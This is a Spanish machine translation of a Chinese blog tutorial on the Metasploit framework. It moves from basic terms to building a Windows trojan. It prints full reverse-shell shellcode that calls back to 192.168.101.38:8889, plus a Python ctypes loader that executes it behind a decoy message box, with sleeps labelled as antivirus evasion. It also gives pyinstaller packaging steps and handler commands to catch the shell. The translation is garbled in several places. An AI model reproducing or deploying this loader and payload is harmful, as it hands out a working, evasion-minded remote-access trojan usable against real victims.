Uso básico de MSF (estructura básica y demostración de carga útil)

prefacio

A ver si lo podemos pasar (A ver si lo podemos pasar) Hace poco hice un proyecto de reptiles, y me pican las manos otra vez.
MSF es un marco de penetración muy convencional, que contiene bastantes módulos de detección de penetración.

ambiente

Host Kail 2020
VM 16
: Windows 10

Requisitos básicos: Cumplir
estrictamente con las leyes y regulaciones de seguridad nacional y poder usar Linux.

estructura basica

terminología básica

Antes de jugar esto, todavía necesitamos entender algunos términos técnicos básicos.

Explotar

El ataque de penetración se refiere a un ataque realizado por un atacante o probador de penetración al explotar una vulnerabilidad de seguridad en un sistema, aplicación o servicio.

Las técnicas de ataque populares incluyen desbordamientos de búfer, exploits de aplicaciones web y errores de configuración.

Carga útil La carga útil es el código que esperamos que el sistema de destino ejecute después de ser penetrado. En el marco de MSF se puede seleccionar, administrar e implantar libremente. Por ejemplo, un shell de rebote es una carga útil de ataque que crea una conexión de red desde el host objetivo al host atacante y proporciona un shell de línea de comandos. La carga útil de bind
shell vincula un shell de línea de comandos en el host de destino a un puerto de escucha abierto, al que un atacante puede conectarse para obtener interacción con el shell.

Spillcode (Shellcode) Shellcode es un conjunto de instrucciones de máquina que se ejecuta como carga útil de ataque durante un ataque de penetración. Shellcode generalmente se escribe en lenguaje ensamblador. En la mayoría de los casos, el sistema de destino solo proporcionará un shell de línea de comandos o un
shell de Meterpreter después de ejecutar el conjunto de instrucciones del código de shell, que también es el origen del nombre del código de shell.

Módulo (Módulo) En MSF, un módulo se refiere a un componente de código de software utilizado en el marco de trabajo de MSF. En algún momento, puede usar un
módulo Exploit, que es el componente de software utilizado para lanzar realmente el ataque Exploit. En otras ocasiones, se puede usar un módulo auxiliar
para buscar acciones de ataque, como el escaneo o la enumeración del sistema.

Escucha (Listener) Una escucha es un componente de MSF que espera una conexión de red entrante. Por ejemplo, después de que el host de destino se ve comprometido, puede volver a conectarse al host atacante a través de Internet, y el componente de escucha está en el host atacante esperando que el sistema comprometido se conecte y es responsable de manejar esas conexiones de red.

estructura física

Para usar rápidamente este marco para hacer algo interesante, primero debemos comprender la estructura básica del directorio, que es la dirección real del archivo. entramos aquí
inserte la descripción de la imagen aquí

Los principales son estos. Podemos entrar y ver.
inserte la descripción de la imagen aquí

Ok, primero podemos aprender sobre esta estructura de directorios más básica, porque no hay nada que ver aquí.

estructura lógica

inserte la descripción de la imagen aquí

Básicamente somos

manual

A medida que sale el llamado conocimiento real, ordenemos nuestro proceso. Así es como jugamos cuando penetramos.

Las palabras aquí se dividen aproximadamente en dos tipos, uno es atacar directamente a través de scripts de penetración y el otro es usar carga útil, es decir, virus de caballo de Troya y similares. El proceso anterior es relativamente simple, por lo que no lo demostraré en detalle (principalmente porque el entorno se secó cuando no estaba jugando antes), y algunas de las siguientes operaciones involucran más contenido. Estoy aquí principalmente para mostrarles una obra de teatro. Luego introduzca algunos pensamientos básicos.

Proceso básico de penetración

Primero

El primer punto es, sin duda, determinar la información del otro host, como cuál es el objetivo. Luego vamos a buscar las vulnerabilidades públicas correspondientes, por ejemplo, encontramos que el host de destino es el sistema xx. Luego, el sistema quedó expuesto a la vulnerabilidad con el número
CVE-2017-0143
. En cuanto a esta información, usted mismo puede buscar en Internet para determinar el sistema o equipo de la otra parte, y luego buscar las vulnerabilidades que se han expuesto públicamente en este sistema de equipo. Por supuesto, la minería es otro asunto. No lo discutiré. aquí.

segundo

En este punto, asumimos que la otra parte puede tener esta vulnerabilidad, luego ingrese a nuestra consola msf en este momento. Ver vulnerabilidades

inserte la descripción de la imagen aquí
¿ingresar? Puede consultar toda la ayuda (además, mi msf actual no es la última versión, porque hace mucho que no juego, así que todavía necesito actualizar msf con frecuencia aquí, pero lo vergonzoso aquí es que la actualización de espejos extranjeros es lento, y el kali doméstico básicamente Los espejos están todos muertos, una sociedad armoniosa. Entonces, si actualiza, preste atención a la Internet científica)

inserte la descripción de la imagen aquí

Ok, volviendo al tema, ¿qué vamos a hacer a continuación? Revisar y buscar vulnerabilidades. ¿Por qué quieres hacer esto? Es muy simple. Usa herramientas de ataque escritas por otros.
En este punto, hemos visto estas cosas
inserte la descripción de la imagen aquí
y no hemos visto mucho sobre esto.

tercera

Elige uno, si no, cámbialo.

inserte la descripción de la imagen aquí
Aquí se escribe back para empujar el módulo

Luego vea la configuración de este parámetro y las opciones de visualización de información

inserte la descripción de la imagen aquí

Luego verificamos la información específica en info

inserte la descripción de la imagen aquí
Contiene mucha información, puedes consultarla.

Las palabras aquí son más vergonzosas, realmente no hay un dron objetivo.
Así que aquí pretende penetrar, ¿de acuerdo?

cuatro

Por supuesto, se establece de acuerdo con nuestros parámetros.
inserte la descripción de la imagen aquí

inserte la descripción de la imagen aquí

entonces corre

O el exploit
depende de la situación específica. Cómo debería decirlo, no hay un dron objetivo y el experimento no se puede hacer, y esto debe combinarse con algunas de nuestras lagunas específicas, lo que requiere una gran profesionalidad. Incluso si hay un dron objetivo hoy, lo demostraré aquí si eres un novato Básicamente no sabes cómo hacerlo.

Penetración de troyanos

OK, vamos a tener uno fácil de operar.
Esto debe combinarse con la estructura del msf que acabamos de tener.

Necesitamos usar la herramienta msfvenom en nuestro msf para usar el troyano.

Primero aclare el proceso:
inserte la descripción de la imagen aquí
hablemos primero sobre el troyano de producción msfvenom

Uso básico de msfvenom

Introducir algunos métodos y parámetros de uso común.

Visualización y uso de la carga útil

Puede entender la carga útil como un esquema de ataque, qué tipo de método de ataque se genera y qué tipo de plataforma se usa para atacar.
Use el parámetro -p para configurarlo y véalo como -l carga útil. Para obtener más detalles, consulte el los
inserte la descripción de la imagen aquí
codificadores de casos siguientes usan
el parámetro -e Esto se refiere a qué método elegir para codificar, para mejorar la probabilidad de eliminación libre de troyanos. Además, hay parámetros -i -b,
pero puede usar -e para pruebas personales, y usted ni siquiera necesita especificarlo. La razón es que no importa cómo configure los parámetros, será bloqueado directamente por el software antivirus. Compruébelo. Es inútil usar este método simple en este momento. Sin embargo, Podemos usar otros métodos para evitar matar. Y este método es más eficiente.
Aquí se muestra cómo ver la generación de
inserte la descripción de la imagen aquí
caballos de Troya de plantilla de codificación.

msfvenom -p 模板 -e 编码模板 -i 编码次数 -b 避免字符集 LHOST(ifconfig查看) LPORT(监听端口) -f 输出文件类型 > 文件名

A continuación se muestra un ejemplo
inserte la descripción de la imagen aquí

No uso otros parámetros aquí, la razón es que no hay necesidad de matarlo directamente si simplemente se maneja así.

evitar matar

Hay muchas maneras de evitar matar ahora. De hecho, la idea específica es obtener el código de máquina del virus y luego disfrazarlo
. Hay muchas maneras. Para más detalles, consulte este blog:
https://blog.csdn .net/weixin_44677409/article/details/ 96346481
Entonces aquí, debido a mi entorno de programación y hábitos operativos, la demostración aquí es usar python para evitar matar
para obtener el shellcode
, que en realidad es generar el archivo py
inserte la descripción de la imagen aquí
y luego obtener el archivo
El contenido del archivo probablemente sea así

buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
buf += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
buf += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
buf += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
buf += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
buf += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
buf += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
buf += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
buf += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
buf += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32"
buf += b"\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec"
buf += b"\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x22\xb9"
buf += b"\xc0\xa8\x65\x26\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41"
buf += b"\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01"
buf += b"\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50"
buf += b"\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48"
buf += b"\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
buf += b"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9"
buf += b"\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02"
buf += b"\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41"
buf += b"\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a"
buf += b"\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
buf += b"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50"
buf += b"\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
buf += b"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86"
buf += b"\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08"
buf += b"\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6"
buf += b"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a"
buf += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59"
buf += b"\x41\x89\xda\xff\xd5"

Luego péguelo y cópielo en otro archivo de python en este
momento.Escribí una función contenedora aquí, que puede pasar directamente buf como parámetro.

import ctypes

def execgo(buf):
    go()
    # print('123')
    shellcode = bytearray(buf)
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # 申请内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    # 放入shellcode
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(ptr),
        buf,
        ctypes.c_int(len(shellcode))
    )
    ss()
    # 创建一个线程从shellcode放置位置首地址开始执行
    handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.c_uint64(ptr),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )
    ss()
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

def ss():
	#查杀干扰
	time.sleep(0.1)
def go():
	#界面伪装
    ctypes.windll.user32.MessageBoxA(0, u"点击确定开始美好之旅(若无反应则版本可能不适用).^_ ^".encode('gb2312'),
                                     u' 信息'.encode('gb2312'), 0)
if __name__=='__main__':
    execgo(buf)

Luego use pyinstaller para empaquetar este archivo en un archivo ejecutable.Si
es así, también le agregué un ícono para
inserte la descripción de la imagen aquí
obtener el archivo y eliminar la
inserte la descripción de la imagen aquí
prueba.
inserte la descripción de la imagen aquí

Control de troyanos (msfconsole controla la recepción de información de troyanos)

aquí:

use multi/handler
también es uno de los módulos, así que ingrese primero y luego podrá hacerlo.

De acuerdo con mi configuración, ingresé el siguiente comando

msfconse
use multi/handler
set payload windows/x64/shell_reverse_tcp
set LHOST 192.168.101.38
set LPORT 8889
run

Esperando que el objetivo se conecte en este momento, el
resultado es el siguiente:
inserte la descripción de la imagen aquí
Hasta ahora, una simple penetración de caballo de Troya está bien, esto también es más operativo, si tiene un servidor con una IP de red pública, ¿verdad?

Resumir

Cómo decir que la operación de msf es muy simple, por supuesto, la premisa es que tienes cierta comprensión de las lagunas básicas y luego estudias mucho todos los días como un buen joven en la nueva era.

Supongo que te gusta

Origin blog.csdn.net/FUTEROX/article/details/123590536
Recomendado
Clasificación